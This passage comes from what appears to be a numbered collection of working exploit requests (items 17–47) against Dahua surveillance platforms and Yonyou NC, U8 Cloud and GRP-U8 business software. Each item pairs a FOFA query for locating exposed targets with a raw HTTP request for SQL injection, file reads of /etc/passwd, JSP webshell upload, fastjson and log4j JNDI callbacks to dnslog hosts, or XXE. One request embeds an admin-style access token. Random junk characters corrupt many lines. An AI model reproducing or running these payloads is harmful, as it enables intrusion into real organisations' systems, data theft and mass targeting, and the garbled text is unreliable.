' ^. n$ T! Z* A) ~; K6 g2 I* D+ {FOFA：app="dahua-DSS"
: C, ?/ I; |6 ^6 bPOST /portal/services/itcBulletin?wsdl HTTP/1.1
' W4 R! l. W3 K6 w* j$ j# ]. O, xHost: x.x.x.x
. q! Q. A7 T- k6 x7 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
* N/ o* h: \& c6 F: W8 i1 F) m4 rAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
8 Y- s+ |4 G* i" v; d      </netMarkings>
$ B0 r) z0 `& F, b8 j  A  ^    </ns1:deleteBulletin>
# a$ b4 j# D- {$ j" u+ o8 G  </s11:Body>
</s11:Envelope>
3 k* V$ N% p9 N+ i7 x  C! _) l

( b( w$ r. W: \: b18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
/ }- M( M; h& T$ V; tFOFA：app="dahua-DSS"
/ O9 @5 W* w. Q3 h3 eGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
$ o, k9 n0 @) R9 `3 N; ?; \' C( |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( Y4 r0 u, S+ |# w7 p. cAccept-Encoding: gzip, deflate
+ |& q/ W+ g' [# p  Z! ?7 IAccept: */*
) l2 \. r% Z0 cConnection: keep-alive



8 z" w4 f' ?0 N6 g9 J2 M  J19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
9 W9 v: L8 F% ]6 V$ |& m- BHost:
5 R1 K# I$ I, V* QUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
8 g3 I, K) C$ T( ^% ?) CAccept-Encoding: gzip, deflate
Accept: */*
& a. r+ ], k$ d9 R" ]4 nConnection: keep-alive


# H, Y( p* W* }' W7 g5 k20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
$ y4 h  V9 `, {$ ^* G* \" OGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
6 \' r/ T7 l7 }& Q' M4 {2 w1 f" LUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ b& F+ h. P; q: A1 q$ Z( V& YConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

: ?: i; A9 T4 k+ R5 Q# U4 C! v
21. 大华ICC智能物联综合管理平台random远程代码执行
7 G/ l8 i. h* P+ i6 |1 RFOFA：icon_hash="-1935899595"
$ L) }# H4 a9 {8 K, v2 w( c3 {POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
& `4 h0 y4 Q5 _  k- \) QHost: x.x.x.x
8 y9 g4 Y) j! c+ Z8 y3 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 i- @- l+ c( g* R9 LContent-Length: 161
4 T' j5 W6 o5 B9 J% B* o4 G+ tAccept-Encoding: gzip
Connection: close
: v* y' }* ~( |! F8 g, ]Content-Type: application/json;charset=utf-8
0 {2 y6 V* Z6 h* O% C0 s1 l$ T
+ a" g. y  X- {{
0 r9 u3 u0 |; r) S4 w3 k% P"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
/ k* C' n& d/ v1 [}
  A7 W, L' D- L7 J6 s
& T9 G4 Q! ^5 J4 E5 f; V8 A( L( A
" I8 \9 U- `) ?% b7 Y' U3 Q* L; q22. 大华ICC智能物联综合管理平台 log4j远程代码执行
/ t' ]0 ?( W" s: f8 hFOFA：icon_hash="-1935899595"
6 _4 p1 F" }0 \" T# s- I, h5 pPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
) O& ~  ?- p) ~* W1 o: }Host: your-ip
# y" }, f' S" Y, C( I* H+ NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 h6 @+ Q5 u- n5 D( hContent-Type: application/json;charset=utf-8
1 J: m4 k$ i6 P# i
{
"loginName":"${jndi:ldap://dnslog}"
3 V' C5 V: }- `. m8 f4 p# L" M1 O! _! `}

- @. S7 y) E9 ?2 Z3 y1 I

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
) R' C* t9 Z7 X6 }# LFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
6 p- n) U) M8 S4 H! O; vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& e- y. D; |5 v. TContent-Type: application/json;charset=utf-8
8 v/ `0 X6 c0 r% {8 A/ uAccept-Encoding: gzip
, n4 a3 E4 u" w: Z/ jConnection: close
9 b6 J% [) q8 B( `
  n) J' @9 q2 e* [& X# q9 ]- G{
) ~4 f* j9 A2 Z% k% X! c    "a":{
; X& ~$ g0 Q' v6 q- n0 N7 c        "@type":"com.alibaba.fastjson.JSONObject",
$ a% ~) J8 f5 j& N6 d       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
1 e: l+ K5 Q$ O3 N) e

  w1 A4 ]; v9 B4 {3 V- \24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
* O# y. J& T, P+ I2 z+ iHost: x.x.x.x
( }3 F8 \# r% }( n# D6 nUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
+ X8 Z. L; b1 }! ?; [* c$ ~Connection: close
) k$ J! x3 F, k9 yContent-Length: 449
. q% z$ E. x" \" _& k1 t& dAccept: */*
Accept-Encoding: gzip
# e& W7 D; L# Z, ?Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% H- q/ R9 N% l
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
7 j+ k" E* S: m8 I- SContent-Type: text/plain
7 f' S  F" P% M9 m
6 T/ a' ^' x. t  L<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
8 z4 ?$ M+ c9 ]* z. GContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


& m9 g" [/ t: \1 `" o25. 用友NC registerServlet JNDI 远程代码执行
% U0 T# S& I- i4 x; `* bFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
( b% W# B, w* @$ w2 Q) KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
- z3 h5 [8 P1 Y/ U- n1 P$ [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
* @8 [/ ^6 }5 C9 D- C% s, RAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
% O0 D( y. Z+ m7 o* v. t9 I: j
0 b' u0 E: e: C* Ytype=1&dsname=ldap://dnslog

  }" }! R0 B0 }. F

26. 用友NC linkVoucher SQL注入
' }6 D: z: M$ z/ m4 g, ?FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  h  M! X8 E- W( `) MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' W6 T6 Z5 ^. Z0 X) V9 dContent-Type: application/x-www-form-urlencoded
& A9 r1 p6 T/ d5 `4 }( cAccept-Encoding: gzip, deflate
Accept: */*
$ e! e4 z9 z3 u8 O( LConnection: keep-alive


27. 用友 NC showcontent SQL注入
2 Q1 ^0 ?, @8 y! fFOFA：icon_hash="1085941792"
3 R5 z1 w2 u* f( JGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
* q. }4 V9 x, f: l9 a+ THost: your-ip
1 ^3 [, c3 F7 q8 r3 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( b1 Z5 `5 I) h9 r+ @Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
% B4 A' X3 X; E- k
; \/ N) S. |% u' e# ~4 G
. J$ _  g( K; X6 A$ _28. 用友NC grouptemplet 任意文件上传
4 V  ~2 B$ B& b/ D2 xFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
' j5 |  N* R3 D  c# d6 z6 _Connection: close
6 K: l% M3 z+ tContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
: J" n- s) J3 \* v# W2 y, |Accept-Encoding: gzip
) n; [' Q3 {3 e% m, S% o
* x" E# R' b3 e0 A6 B1 ]------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
4 E- q2 h5 J2 L" s. `Content-Type: application/octet-stream
" a2 W! `9 }6 h
. ?$ K' s; R! q<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
5 ?( g5 m( P& c2 ]

/uapim/static/pages/nc/head.jsp
: g0 e/ ?) [. a  I3 q, p2 f
+ t; q& A0 w' l# i29. 用友NC down/bill SQL注入
/ \; a" C/ p  b/ n! z4 \  xFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
: |6 m9 ^4 ~5 E* WGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
: g$ s  y) m' u' THost: your-ip
! H6 ?0 ~6 C* x7 Z* ~8 V. Z5 S( WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  c# X# ]5 ^2 K7 g' N8 h& Q: q" [Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
  C0 x4 e( T# z7 }6 j1 x5 G& \Accept: */*
8 V) T/ b7 J; J5 f! |0 B1 fConnection: keep-alive


0 K3 P  Q6 S* w+ B0 Q) l30. 用友NC importPml SQL注入
5 f! `) P# N" k/ n1 C* iFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
4 ~, `+ @! T2 d2 |1 l7 n! gHost: your-ip
5 F+ ^# F- P0 p& A/ H% pContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

# p. f2 j- a. R$ E8 ?) Q0 C------WebKitFormBoundaryH970hbttBhoCyj9V
$ J" f( P8 A7 w8 ~9 o9 L: BContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
( p" w# U5 e1 w. M. @: qversion<=6.5
9 m0 `* x3 Q* E0 d9 s/ R1 RFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
# i+ a& j8 f( y# S0 `, ^GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% Y9 i0 p# i& r% DHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 B( q- M  U$ a' g* @Content-Type: application/x-www-form-urlencoded
% w& q2 t% O" _( _! x

! S3 N% E7 P2 k1 ]32. 用友NC complainbilldetail SQL注入
$ p+ c7 V- J3 Kversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
3 N3 @: n" h6 B& ], h1 iGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 W' J: D' c8 p. U8 B+ a6 ~Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
/ j+ G0 {5 a' l7 p% u) ~Accept: */*
3 i- p& p" Q; O1 e5 [, a. q& U1 yConnection: keep-alive
* s+ a2 [; W7 Z) k
4 N- f- f& o5 i2 u- y0 y: F, N4 x
' k$ H- Q- z5 j) l& d* B% o33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
8 E  b; d! y" g' i8 OGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! H, d; ?: h2 c  }5 N9 |Accept-Encoding: gzip, deflate
) _) K* s/ `% XAccept: */*
& ]. ^: U2 V# ]: x* N# D7 g) OConnection: keep-alive
! @* i! e- }5 Z& m! S, h9 Q
8 @" b+ T5 @) B5 F/ ]9 N6 f7 `
34. 用友NC warningDetailInfo接口SQL注入
. A* d7 k# B( z; j* c+ wFOFA：app="用友-UFIDA-NC"
' \" t  p3 w: u9 L% Q' l' N0 h- e9 H. {GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 e' R, ^' l0 Y; wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& d2 Q; i; V6 \7 TAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
0 y. M2 [& h: G

& G/ x$ O- p* l# u35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
' p  M0 \* ~% \; \! s$ r. z) j5 uHost: 203.25.218.166:8888
0 g5 _& T( }6 ?# f/ P/ s5 Z, m2 ?User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
" N1 _" A( }- {( Q) F$ saccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
9 h% p3 ?& V6 r5 W3 kContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
7 b% K4 ?; T, b6 L; _% _% DContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
: M8 D! C! L* [/ B0 I" ]0 F& j--fd28cb44e829ed1c197ec3bc71748df0--

& D: `* X  [. J0 x& d6 b! |5 N
2 B9 P" j8 X+ X9 B* `7 o( D& c36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
& d' L$ P( y0 I- b; ], KPOST /uapws/soapFormat.ajax HTTP/1.1
, h5 K2 j1 t# bHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
5 J4 Q% X3 b: c  TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
, \+ h1 x, G1 N6 ?5 S  `! kContent-Type: application/x-www-form-urlencoded
; l. h0 P7 k% y+ MUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
. C3 x) c. t) H

1 a' u  w6 v; G/ Z/ M1 v37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
% ?  s3 c% _8 E& aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
  r% A# S: {/ Q" ]$ T9 w* N2 DContent-Length: 421
) L% Z6 N8 `( a( t% X# wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
8 z& W# P. M+ v$ G/ @Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
8 U4 ~' ~' o7 J6 K( R* hSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
+ M! K' y! Y' M1 l; k
$ U* P) Q& T# _7 _<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
( m$ Q2 o% O: [/ {+ [+ D  P<soapenv:Body>
: U2 W7 u9 d/ J* ]<iup:getResult>
' n  J! E  |' r# s! r1 g<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
' S3 L, k: q2 m9 `, C3 k0 P<xxx/>]]></iup:string>
1 H; Q% @/ G" \7 ?' W. Q</iup:getResult>
</soapenv:Body>
$ d' V2 |# f5 V- u6 J/ \( ?# q</soapenv:Envelope>

8 ^8 B- C- e3 O9 a* M1 v8 d3 p# |

38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
$ ~1 f9 J4 c' H( r& O: v7 h+ q3 |Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
% W2 D' a& |8 ?Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
0 d* |' b& W' k" KAccept-Language: zh-CN,zh;q=0.9
Connection: close
' V& {) g* C5 Z+ [5 y% YContent-Type: application/x-www-form-urlencoded
8 _+ X* h7 b  F4 \
7 W# ?! C2 m- [5 d9 C% t6 T__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

  c% q+ p  S; r4 Y
1 K9 \* H# h- a: X  E. V. Q* J39. 用友U8 Cloud RegisterServlet SQL注入
' h1 N) D" p# E. R6 KFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
" m9 K; N4 R# _5 \! O; i) X. _Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
9 r5 l3 ]( L  U! D- jConnection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
1 [& H! x2 B8 m7 F8 X/ QAccept-Encoding: gzip
5 Q8 @) Y7 i) l3 ^
% e8 P* V7 o1 ?, [0 n% husercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

8 Q5 z- e: o% g+ X) l# E
3 V- c& f* G( F) M/ h- N40. 用友U8-Cloud XChangeServlet XXE
( I" U9 n3 t% v6 d" X! X+ K/ BFOFA：app="用友-U8-Cloud"
. Z3 ]1 V+ V+ Y$ ~4 N3 U  a6 s5 ?POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
  t& `2 M& L1 m. ~! M/ }6 @User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) ]( f, `+ \3 H8 g* {/ O9 x+ dContent-Type: text/xml
Connection: close

5 g3 ~2 C( s: A& ]<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

; {1 `7 ~% z0 A* _/ Y9 H
; N; s6 j7 z* W) H; e+ v- ]4 X41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
6 D! m7 W: m6 I5 I# fHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% [1 n' c  h1 {9 f, V* SContent-Type: application/json
' v# a5 a1 L! B. QAccept-Encoding: gzip
: p1 [. o9 E0 _) G. p) R; `- }Connection: close

! ]( Y4 z4 V5 [! V5 g0 Z
42. 用友GRP-U8 SmartUpload01 文件上传
6 m8 f9 |9 c% {* z9 E. HFOFA：app="用友-GRP-U8"
5 p) v( `- {) i7 f+ XPOST /u8qx/SmartUpload01.jsp HTTP/1.1
$ `- ?3 ~5 T5 m& e$ QHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
* ]" I$ ^& y5 Z$ tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
, X9 N# @4 Q1 e$ X- s
4 V9 y2 t& J+ A& @4 A4 [PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
: \0 l7 k# A: E) D) t
5 y- {  R. U: Y43. 用友GRP-U8 userInfoWeb SQL注入致RCE
, K* z8 t3 b3 q: `0 ^; hFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; U! I8 T6 \. F( {& }6 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
7 S$ L) S# H; x/ D. hAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
3 V4 r' p5 ~" s6 q5 RContent-Type: text/xml;charset=UTF-8
$ R8 ]* ~3 T! w% c( L& n$ V- e+ ^
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
0 V" j/ H$ z7 E3 V" f; C6 v   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
4 ^. B2 e% J0 W& r      </ser:getUserNameById>
, y8 w- }. h2 R# P! p9 V; U0 h   </soapenv:Body>
</soapenv:Envelope>


& b( D7 S' U5 d3 {% o' k44. 用友GRP-U8 bx_dj_check.jsp SQL注入
+ O7 r- x( \* w# ?, Z) \FOFA:app="用友-GRP-U8"
6 u  N6 F! _, Z: mGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
  V9 g( n8 H9 o0 Y% F! kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
7 b! q% d1 K/ v9 G( WAccept-Language: zh-CN,zh;q=0.9
2 L1 t6 A3 b! q+ k8 dConnection: close
: V, r. x6 H9 c1 W2 ]" f( b, D
) B- o& S  K" U) Y
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
; \  o0 k- t  eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
: w* K1 Q8 M& ^9 U* @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; \1 {" q9 k4 n; }4 _- wContent-Type: application/x-www-form-urlencoded
% }& y! m5 b/ B  ^( W5 {8 tAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
. G0 P2 D" t5 @% e2 L) a! E% u: I9 a$ {

6 l  @. |! R, Y0 P6 _# y9 T46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
9 _9 o/ I) S: V+ f1 k) @9 tGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
4 h# v+ u6 w* |) U0 Z) jHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- r: g( [: ^+ v2 SAccept-Encoding: gzip, deflate
* p6 a8 l% |, J$ c8 wAccept-Language: zh-CN,zh;q=0.9
Connection: close

( W: Q9 U. C0 h4 y) b
2 [' q* n. X9 ?. F% U2 \47. 用友GRP A++Cloud 政府财务云 任意文件读取
/ X, ^  v4 Z( k6 AFOFA：body="/pf/portal/login/css/fonts/style.css"
